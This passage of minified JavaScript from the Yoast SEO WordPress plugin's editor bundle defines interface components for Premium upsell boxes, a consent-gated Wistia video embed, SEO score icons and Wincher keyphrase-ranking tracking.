yst-icon-rtl"})),(0,e.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!i&&(0,e.createElement)(e.Fragment,null,(0,g.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,e.createElement)("br",null)),(0,g.__)("30-day money back guarantee.","wordpress-seo")),(0,e.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,e.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,e.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,g.__)("Read reviews from real users","wordpress-seo")),(0,e.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,e.createElement)(T,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)("span",{className:"yst-flex yst-gap-1"},(0,e.createElement)(K,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(K,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(K,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(K,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(W,{className:"yst-w-5 yst-h-5"})),(0,e.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};se.propTypes={link:a().string.isRequired,linkProps:a().object,isPromotionActive:a().func},se.defaultProps={linkProps:{},isPromotionActive:i.noop};const re=()=>[(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")],ne=({premiumLink:t,premiumUpsellConfig:s,isPromotionActive:n})=>{const o=n("black-friday-2024-promotion");return(0,e.createElement)(m.Paper,{as:"div",className:"xl:yst-max-w-3xl"},o&&(0,e.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,e.createElement)("div",null,(0,g.__)("30% OFF","wordpress-seo")),(0,e.createElement)("div",null,(0,g.__)("BLACK FRIDAY","wordpress-seo"))),(0,e.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,e.createElement)(m.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,g.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,g.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,e.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},re().map(((t,s)=>(0,e.createElement)("li",{key:`upsell-benefit-${s}`},(0,r.createInterpolateElement)(t,{strong:(0,e.createElement)("span",{className:"yst-font-semibold"})}))))),(0,e.createElement)(m.Button,{as:"a",variant:"upsell",size:"extra-large",href:t,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...s},o?(0,g.__)("Claim your 30% off now!","wordpress-seo"):(0,g.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,g.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,e.createElement)(O,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};ne.propTypes={premiumLink:a().string.isRequired,premiumUpsellConfig:a().object,isPromotionActive:a().func},ne.defaultProps={premiumUpsellConfig:{},isPromotionActive:i.noop},a().string.isRequired,a().object.isRequired,a().string.isRequired,a().func.isRequired,e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),a().bool.isRequired,a().func,a().func,a().string.isRequired,a().string.isRequired,a().string.isRequired,a().string.isRequired;const oe=window.yoast.reactHelmet,ae="loading",ie="showPlay",le="askPermission",ce="isPlaying",de=({videoId:t,thumbnail:s,wistiaEmbedPermission:n})=>{const[o,a]=(0,r.useState)(n.value?ce:ie),i=(0,r.useCallback)((()=>a(ce)),[a]),l=(0,r.useCallback)((()=>{n.value?i():a(le)}),[n.value,i,a]),c=(0,r.useCallback)((()=>a(ie)),[a]),d=(0,r.useCallback)((()=>{n.set(!0),i()}),[n.set,i]);return(0,e.createElement)(e.Fragment,null,n.value&&(0,e.createElement)(oe.Helmet,null,(0,e.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,e.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},o===ie&&(0,e.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:l},(0,e.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...s})),o===le&&(0,e.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,e.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},n.status===ae&&(0,e.createElement)(m.Spinner,null),n.status!==ae&&(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,g.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,e.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,e.createElement)(m.Button,{type:"button",variant:"secondary",onClick:c,disabled:n.status===ae},(0,g.__)("Deny","wordpress-seo")),(0,e.createElement)(m.Button,{type:"button",variant:"primary",onClick:d,disabled:n.status===ae},(0,g.__)("Allow","wordpress-seo")))),n.value&&o===ce&&(0,e.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===t&&(0,e.createElement)(m.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==t&&(0,e.createElement)("div",{className:`wistia_embed wistia_async_${t} videoFoam=true`}))))};de.propTypes={videoId:a().string.isRequired,thumbnail:a().shape({src:a().string.isRequired,width:a().string,height:a().string}).isRequired,wistiaEmbedPermission:a().shape({value:a().bool.isRequired,status:a().string.isRequired,set:a().func.isRequired}).isRequired};const ue=window.yoast.componentsNew,pe=window.yoast.styleGuide,me=window.yoast.analysis;function he(e){switch(e){case"loading":return{icon:"loading-spinner",color:pe.colors.$color_green_medium_light};case"not-set":return{icon:"seo-score-none",color:pe.colors.$color_score_icon};case"noindex":return{icon:"seo-score-none",color:pe.colors.$color_noindex};case"good":return{icon:"seo-score-good",color:pe.colors.$color_green_medium};case"ok":return{icon:"seo-score-ok",color:pe.colors.$color_ok};default:return{icon:"seo-score-bad",color:pe.colors.$color_red}}}function ge({target:e,children:t}){let s=e;return"string"==typeof e&&(s=document.getElementById(e)),s?(0,r.createPortal)(t,s):null}ge.propTypes={target:a().oneOfType([a().string,a().object]).isRequired,children:a().node.isRequired};const ye=({target:t,scoreIndicator:s})=>(0,e.createElement)(ge,{target:t},(0,e.createElement)(ue.SvgIcon,{...he(s)}));ye.propTypes={target:a().string.isRequired,scoreIndicator:a().string.isRequired};const fe=ye,we=({error:t})=>{const s=(0,r.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),n=(0,h.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/metabox-error-support")),[]),o=(0,h.useSelect)((e=>e("yoast-seo/editor").getPreference("isRtl",!1)),[]);return(0,r.useEffect)((()=>{document.querySelectorAll('[id^="wpseo-meta-tab-"]').forEach((e=>{!function(e){const t=document.querySelector(`#${e}`);null!==t&&(t.style.opacity="0.5",t.style.pointerEvents="none",t.setAttribute("aria-disabled","true"),t.classList.contains("yoast-active-tab")&&t.classList.remove("yoast-active-tab"))}(e.id)}))}),[]),(0,e.createElement)(m.Root,{context:{isRtl:o}},(0,e.createElement)(k,{error:t},(0,e.createElement)(k.HorizontalButtons,{supportLink:n,handleRefreshClick:s}),(0,e.createElement)(fe,{target:"wpseo-seo-score-icon",scoreIndicator:"not-set"}),(0,e.createElement)(fe,{target:"wpseo-readability-score-icon",scoreIndicator:"not-set"}),(0,e.createElement)(fe,{target:"wpseo-inclusive-language-score-icon",scoreIndicator:"not-set"})))};function be({theme:t}){return(0,e.createElement)(p,{theme:t,location:"metabox"},(0,e.createElement)(m.ErrorBoundary,{FallbackComponent:we},(0,e.createElement)(n.Slot,{name:"YoastMetabox"},(e=>{return void 0===(t=e).length?t:(0,i.flatten)(t).sort(((e,t)=>void 0===e.props.renderPriority?1:e.props.renderPriority-t.props.renderPriority));var t}))))}we.propTypes={error:a().object.isRequired};const Ee=window.wp.compose,ve=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{d:"M2 11a1 1 0 011-1h2a1 1 0 011 1v5a1 1 0 01-1 1H3a1 1 0 01-1-1v-5zM8 7a1 1 0 011-1h2a1 1 0 011 1v9a1 1 0 01-1 1H9a1 1 0 01-1-1V7zM14 4a1 1 0 011-1h2a1 1 0 011 1v12a1 1 0 01-1 1h-2a1 1 0 01-1-1V4z"}))}));var ke=s(4530),_e=s.n(ke);const xe=({className:t,...s})=>(0,e.createElement)("span",{className:_e()("yst-grow yst-overflow-hidden yst-overflow-ellipsis yst-whitespace-nowrap yst-font-wp yst-text-[#555] yst-text-base yst-leading-[normal] yst-subpixel-antialiased yst-text-left",t),...s});xe.displayName="MetaboxButton.Text",xe.propTypes={className:a().string},xe.defaultProps={className:""};const Te=({className:t,...s})=>(0,e.createElement)("button",{type:"button",className:_e()("yst-flex yst-items-center yst-w-full yst-pt-4 yst-pb-4 yst-pr-4 yst-pl-6 yst-space-x-2 yst-border-t yst-border-t-[rgb(0,0,0,0.2)] yst-rounded-none yst-transition-all hover:yst-bg-[#f0f0f0] focus:yst-outline focus:yst-outline-[1px] focus:yst-outline-[color:#0066cd] focus:-yst-outline-offset-1 focus:yst-shadow-[0_0_3px_rgba(8,74,103,0.8)]",t),...s});Te.propTypes={className:a().string},Te.defaultProps={className:""},Te.Text=xe;const Re=window.yoast.helpers,Se=c().div`
	min-width: 600px;

	@media screen and ( max-width: 680px ) {
		min-width: 0;
		width: 86vw;
	}
`,Ie=c().div`
	@media screen and ( min-width: 600px ) {
		max-width: 420px;
	}
`,Ce=(c()(ue.Icon)`
	float: ${(0,Re.getDirectionalStyle)("right","left")};
	margin: ${(0,Re.getDirectionalStyle)("0 0 16px 16px","0 16px 16px 0")};

	&& {
		width: 150px;
		height: 150px;

		@media screen and ( max-width: 680px ) {
			width: 80px;
			height: 80px;
		}
	}
`,"yoast yoast-gutenberg-modal"),Le=t=>{const{title:s,className:r,showYoastIcon:o,additionalClassName:a,...i}=t,l=o?(0,e.createElement)("span",{className:"yoast-icon"}):null;return(0,e.createElement)(n.Modal,{title:s,className:`${r} ${a}`,icon:l,...i},t.children)};Le.propTypes={title:a().string,className:a().string,showYoastIcon:a().bool,children:a().oneOfType([a().node,a().arrayOf(a().node)]),additionalClassName:a().string},Le.defaultProps={title:"Yoast SEO",className:Ce,showYoastIcon:!0,children:null,additionalClassName:""};const Pe=Le;var qe,Ae;function Fe(){return Fe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Fe.apply(this,arguments)}const Ne=t=>e.createElement("svg",Fe({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 425 456.27"},t),qe||(qe=e.createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"})),Ae||(Ae=e.createElement("path",{stroke:"#000",strokeMiterlimit:10,strokeWidth:3.81,d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z"}))),Me=t=>(0,e.createElement)("div",{className:"yoast components-panel__body"},(0,e.createElement)("h2",{className:"components-panel__body-title"},(0,e.createElement)("button",{id:t.id,onClick:t.onClick,className:"components-button components-panel__body-toggle",type:"button"},t.prefixIcon&&(0,e.createElement)("span",{className:"yoast-icon-span",style:{fill:`${t.prefixIcon&&t.prefixIcon.color||""}`}},(0,e.createElement)(ue.SvgIcon,{size:t.prefixIcon.size,icon:t.prefixIcon.icon})),(0,e.createElement)("span",{className:"yoast-title-container"},(0,e.createElement)("div",{className:"yoast-title"},t.title),(0,e.createElement)("div",{className:"yoast-subtitle"},t.subTitle)),t.children,t.suffixIcon&&(0,e.createElement)(ue.SvgIcon,{size:t.suffixIcon.size,icon:t.suffixIcon.icon}),t.SuffixHeroIcon))),Oe=Me;Me.propTypes={onClick:a().func.isRequired,title:a().string.isRequired,id:a().string,subTitle:a().string,suffixIcon:a().object,SuffixHeroIcon:a().object,prefixIcon:a().object,children:a().node},Me.defaultProps={id:"",suffixIcon:null,SuffixHeroIcon:null,prefixIcon:null,subTitle:"",children:null};const De=window.moment;var $e=s.n(De),Be=s(6746);const Ue=(0,Re.makeOutboundLink)(),We=t=>{const s=(0,g.sprintf)(/* translators: %d expands to the amount of allowed keyphrases on a free account, %s expands to a link to Wincher plans. */
(0,g.__)("You've reached the maximum amount of %d keyphrases you can add to your Wincher account. If you wish to add more keyphrases, please %s.","wordpress-seo"),t.limit,"{{updateWincherPlanLink/}}");return(0,e.createElement)(ue.Alert,{type:"error"},(0,Be.Z)({mixedString:s,components:{updateWincherPlanLink:(0,e.createElement)(Ue,{href:wpseoAdminGlobalL10n["links.wincher.pricing"]},(0,g.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,g.__)("upgrade your %s plan","wordpress-seo"),"Wincher"))}}))};We.propTypes={limit:a().number},We.defaultProps={limit:10};const je=We,Ke=()=>(0,e.createElement)(ue.Alert,{type:"error"},(0,g.__)("Something went wrong while tracking the ranking position(s) of your page. Please try again later.","wordpress-seo")),He=window.wp.apiFetch;var Ye=s.n(He);async function ze(e,t,s,r=200){try{const n=await e();return!!n&&(n.status===r?t(n):s(n))}catch(e){console.error(e.message)}}async function Ve(e){try{return await Ye()(e)}catch(e){return e.error&&e.status?e:e instanceof Response&&await e.json()}}async function Ge(e){return(0,i.isArray)(e)||(e=[e]),await Ve({path:"yoast/v1/wincher/keyphrases/track",method:"POST",data:{keyphrases:e}})}const Ze=c().p`
	color: ${pe.colors.$color_pink_dark};
	font-size: 14px;
	font-weight: 700;
	margin: 13px 0 10px;
`,Xe=c()(ue.SvgIcon)`
	margin-right: 5px;
	vertical-align: middle;
`,Qe=c().button`
	position: absolute;
	top: 9px;
	right: 9px;
	border: none;
    background: none;
    cursor: pointer;
`,Je=c().p`
	font-size: 13px;
	font-weight: 500;
	margin: 10px 0 13px;
`,et=c().div`
	position: relative;
	background: ${e=>e.isTitleShortened?"#F5F7F7":"transparent"};
	border: 1px solid #C7C7C7;
	border-left: 4px solid${pe.colors.$color_pink_dark};
	padding: 0 16px;
	margin-bottom: 1.5em;
`,tt=e=>{const[t,s]=(0,r.useState)(null);return(0,r.useEffect)((()=>{e&&!t&&async function(){return await Ve({path:"yoast/v1/wincher/account/limit",method:"GET"})}().then((e=>s(e)))}),[t]),t};tt.propTypes={limit:a().bool.isRequired};const st=({limit:t,usage:s,isTitleShortened:r,isFreeAccount:n})=>{const o=(0,g.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,g.__)("Your are tracking %1$s out of %2$s keyphrases included in your free account.","wordpress-seo"),s,t),a=(0,g.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,g.__)("Your are tracking %1$s out of %2$s keyphrases included in your account.","wordpress-seo"),s,t),i=n?o:a,l=(0,g.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,g.__)("Keyphrases tracked: %1$s/%2$s","wordpress-seo"),s,t),c=r?l:i;return(0,e.createElement)(Ze,null,r&&(0,e.createElement)(Xe,{icon:"exclamation-triangle",color:pe.colors.$color_pink_dark,size:"14px"}),c)};st.propTypes={limit:a().number.isRequired,usage:a().number.isRequired,isTitleShortened:a().bool,isFreeAccount:a().bool};const rt=(0,Re.makeOutboundLink)(),nt=({discount:t,months:s})=>{const r=(0,e.createElement)(rt,{href:wpseoAdminGlobalL10n["links.wincher.upgrade"],style:{fontWeight:600}},(0,g.sprintf)(/* Translators: %s : Expands to "Wincher". */
(0,g.__)("Click here to upgrade your %s plan","wordpress-seo"),"Wincher"));if(!t||!s)return(0,e.createElement)(Je,null,r);const n=100*t,o=(0,g.sprintf)(
/* Translators: %1$s expands to upgrade account link.
   * %2$s expands to the upgrade discount value.
   * %3$s expands to the upgrade discount duration e.g. 2 months.
   */
(0,g.__)("%1$s and get an exclusive %2$s discount for %3$s month(s).","wordpress-seo"),"{{wincherAccountUpgradeLink/}}",n+"%",s);return(0,e.createElement)(Je,null,(0,Be.Z)({mixedString:o,components:{wincherAccountUpgradeLink:r}}))};nt.propTypes={discount:a().number,months:a().number};const ot=({onClose:t,isTitleShortened:s,trackingInfo:n})=>{const o=(()=>{const[e,t]=(0,r.useState)(null);return(0,r.useEffect)((()=>{e||async function(){return await Ve({path:"yoast/v1/wincher/account/upgrade-campaign",method:"GET"})}().then((e=>t(e)))}),[e]),e})();if(null===n)return null;const{limit:a,usage:i}=n;if(!(a&&i/a>=.8))return null;const l=Boolean(null==o?void 0:o.discount);return(0,e.createElement)(et,{isTitleShortened:s},t&&(0,e.createElement)(Qe,{type:"button","aria-label":(0,g.__)("Close the upgrade callout","wordpress-seo"),onClick:t},(0,e.createElement)(ue.SvgIcon,{icon:"times-circle",color:pe.colors.$color_pink_dark,size:"14px"})),(0,e.createElement)(st,{...n,isTitleShortened:s,isFreeAccount:l}),(0,e.createElement)(nt,{discount:null==o?void 0:o.discount,months:null==o?void 0:o.months}))};ot.propTypes={onClose:a().func,isTitleShortened:a().bool,trackingInfo:a().object};const at=ot,it=()=>(0,e.createElement)(ue.Alert,{type:"success"},(0,g.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,g.__)("You have successfully connected to %s! You can now track the SEO performance for the keyphrase(s) of this page.","wordpress-seo"),"Wincher")),lt=()=>(0,e.createElement)(ue.Alert,{type:"info"},(0,g.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,g.__)("%s is currently tracking the ranking position(s) of your page. This may take a few minutes. Please wait or check back later.","wordpress-seo"),"Wincher")),ct=({data:t,mapChartDataToTableData:s,dataTableCaption:r,dataTableHeaderLabels:n,isDataTableVisuallyHidden:o})=>t.length!==n.length?(0,e.createElement)("p",null,(0,g.__)("The number of headers and header labels don't match.","wordpress-seo")):(0,e.createElement)("div",{className:o?"screen-reader-text":null},(0,e.createElement)("table",null,(0,e.createElement)("caption",null,r),(0,e.createElement)("thead",null,(0,e.createElement)("tr",null,n.map(((t,s)=>(0,e.createElement)("th",{key:s},t))))),(0,e.createElement)("tbody",null,(0,e.createElement)("tr",null,t.map(((t,r)=>(0,e.createElement)("td",{key:r},s(t.y))))))));ct.propTypes={data:a().arrayOf(a().shape({x:a().number,y:a().number})).isRequired,mapChartDataToTableData:a().func,dataTableCaption:a().string.isRequired,dataTableHeaderLabels:a().array.isRequired,isDataTableVisuallyHidden:a().bool},ct.defaultProps={mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const dt=ct,ut=({data:t,width:s,height:n,fillColor:o,strokeColor:a,strokeWidth:i,className:l,mapChartDataToTableData:c,dataTableCaption:d,dataTableHeaderLabels:u,isDataTableVisuallyHidden:p})=>{const m=Math.max(1,Math.max(...t.map((e=>e.x)))),h=Math.max(1,Math.max(...t.map((e=>e.y)))),g=n-i,y=t.map((e=>`${e.x/m*s},${g-e.y/h*g+i}`)).join(" "),f=`0,${g+i} `+y+` ${s},${g+i}`;return(0,e.createElement)(r.Fragment,null,(0,e.createElement)("svg",{width:s,height:n,viewBox:`0 0 ${s} ${n}`,className:l,role:"img","aria-hidden":"true",focusable:"false"},(0,e.createElement)("polygon",{fill:o,points:f}),(0,e.createElement)("polyline",{fill:"none",stroke:a,strokeWidth:i,strokeLinejoin:"round",strokeLinecap:"round",points:y})),c&&(0,e.createElement)(dt,{data:t,mapChartDataToTableData:c,dataTableCaption:d,dataTableHeaderLabels:u,isDataTableVisuallyHidden:p}))};ut.propTypes={data:a().arrayOf(a().shape({x:a().number,y:a().number})).isRequired,width:a().number.isRequired,height:a().number.isRequired,fillColor:a().string,strokeColor:a().string,strokeWidth:a().number,className:a().string,mapChartDataToTableData:a().func,dataTableCaption:a().string.isRequired,dataTableHeaderLabels:a().array.isRequired,isDataTableVisuallyHidden:a().bool},ut.defaultProps={fillColor:null,strokeColor:"#000000",strokeWidth:1,className:"",mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const pt=ut,mt=()=>(0,e.createElement)("p",{className:"yoast-wincher-seo-performance-modal__loading-message"},(0,g.__)("Tracking the ranking position...","wordpress-seo")," ",(0,e.createElement)(ue.SvgIcon,{icon:"loading-spinner"})),ht=c()(ue.SvgIcon)`
	margin-left: 2px;
	flex-shrink: 0;
	rotate: ${e=>e.isImproving?"-90deg":"90deg"};
`,gt=c().span`
	color: ${e=>e.isImproving?"#69AB56":"#DC3332"};
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	margin-right: 2px;
	margin-left: 12px;
`,yt=c().td`
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,ft=c().td`
	padding-left: 2px !important;
`,wt=c().td.attrs({className:"yoast-table--nopadding"})`
	& > div {
		justify-content: center;
	}
`,bt=c().div`
	display: flex;
	align-items: center;
	& > a {
		box-sizing: border-box;
	}
`,Et=c().button`
	background: none;
	color: inherit;
	border: none;
	padding: 0;
	font: inherit;
	cursor: pointer;
	outline: inherit;
    display: flex;
    align-items: center;
`,vt=c().tr`
	background-color: ${e=>e.isEnabled?"#FFFFFF":"#F9F9F9"} !important;
`;function kt(e){return Math.round(100*e)}function _t({chartData:t}){if((0,i.isEmpty)(t)||(0,i.isEmpty)(t.position))return"?";const s=function(e){return Array.from({length:e.position.history.length},((e,t)=>t+1)).map((e=>(0,g.sprintf)((0,g._n)("%d day","%d days",e,"wordpress-seo"),e)))}(t),r=t.position.history.map(((e,t)=>({x:t,y:101-e.value})));return(0,e.createElement)(pt,{width:66,height:24,data:r,strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc",mapChartDataToTableData:kt,dataTableCaption:(0,g.__)("Keyphrase position in the last 90 days on a scale from 0 to 100.","wordpress-seo"),dataTableHeaderLabels:s})}_t.propTypes={chartData:a().object},_t.defaultProps={chartData:{}};const xt=({rowData:t})=>{var s;if(null==t||null===(s=t.position)||void 0===s||!s.change)return(0,e.createElement)(_t,{chartData:t});const n=t.position.change<0;return(0,e.createElement)(r.Fragment,null,(0,e.createElement)(_t,{chartData:t}),(0,e.createElement)(gt,{isImproving:n},Math.abs(t.position.change)),(0,e.createElement)(ht,{icon:"caret-right",color:n?"#69AB56":"#DC3332",size:"14px",isImproving:n}))};function Tt(t){var s;const{keyphrase:n,rowData:o,onTrackKeyphrase:a,onUntrackKeyphrase:l,isFocusKeyphrase:c,isDisabled:d,isLoading:u,isSelected:p,onSelectKeyphrases:m}=t,h=!(0,i.isEmpty)(o),y=!(0,i.isEmpty)(null==o||null===(s=o.position)||void 0===s?void 0:s.history),f=(0,r.useCallback)((()=>{d||(h?l(n,o.id):a(n))}),[n,a,l,h,o,d]),w=(0,r.useCallback)((()=>{m((e=>p?e.filter((e=>e!==n)):e.concat(n)))}),[m,p,n]);return(0,e.createElement)(vt,{isEnabled:h},(0,e.createElement)(yt,null,y&&(0,e.createElement)(ue.Checkbox,{id:"select-"+n,onChange:w,checked:p,label:""})),(0,e.createElement)(ft,null,n,c&&(0,e.createElement)("span",null,"*")),function(t){const{rowData:s,websiteId:n,keyphrase:o,onSelectKeyphrases:a}=t,l=(0,r.useCallback)((()=>{a([o])}),[a,o]),c=!(0,i.isEmpty)(s),d=s&&s.updated_at&&$e()(s.updated_at)>=$e()().subtract(7,"days"),u=s?(0,g.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",n,s.id):null;return c?d?(0,e.createElement)(r.Fragment,null,(0,e.createElement)("td",null,(0,e.createElement)(bt,null,function(e){return!e||!e.position||e.position.value>100?"> 100":e.position.value}(s),(0,e.createElement)(ue.ButtonStyledLink,{variant:"secondary",href:u,style:{height:28,marginLeft:12},rel:"noopener",target:"_blank"},(0,g.__)("View","wordpress-seo")))),(0,e.createElement)("td",{className:"yoast-table--nopadding"},(0,e.createElement)(Et,{type:"button",onClick:l},(0,e.createElement)(xt,{rowData:s}))),(0,e.createElement)("td",null,(p=s.updated_at,$e()(p).fromNow()))):(0,e.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,e.createElement)(mt,null)):(0,e.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,e.createElement)("i",null,(0,g.__)("Activate tracking to show the ranking position","wordpress-seo")));var p}(t),(0,e.createElement)(wt,null,function({keyphrase:t,isEnabled:s,toggleAction:r,isLoading:n}){return n?(0,e.createElement)(ue.SvgIcon,{icon:"loading-spinner"}):(0,e.createElement)(ue.Toggle,{id:`toggle-keyphrase-tracking-${t}`,className:"wincher-toggle",isEnabled:s,onSetToggleState:r,showToggleStateLabel:!1})}({keyphrase:n,isEnabled:h,toggleAction:f,isLoading:u})))}xt.propTypes={rowData:a().object},Tt.propTypes={rowData:a().object,keyphrase:a().string.isRequired,onTrackKeyphrase:a().func,onUntrackKeyphrase:a().func,isFocusKeyphrase:a().bool,isDisabled:a().bool,isLoading:a().bool,websiteId:a().string,isSelected:a().bool.isRequired,onSelectKeyphrases:a().func.isRequired},Tt.defaultProps={rowData:{},onTrackKeyphrase:()=>{},onUntrackKeyphrase:()=>{},isFocusKeyphrase:!1,isDisabled:!1,isLoading:!1,websiteId:""};const Rt=(0,Re.makeOutboundLink)(),St=c().span`
	display: block;
	font-style: italic;

	@media (min-width: 782px) {
		display: inline;
		position: absolute;
		${(0,Re.getDirectionalStyle)("right","left")}: 8px;
	}
`,It=c().div`
	width: 100%;
	overflow-y: auto;
`,Ct=c().th`
	pointer-events: ${e=>e.isDisabled?"none":"initial"};
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,Lt=c().th`
	padding-left: 2px !important;
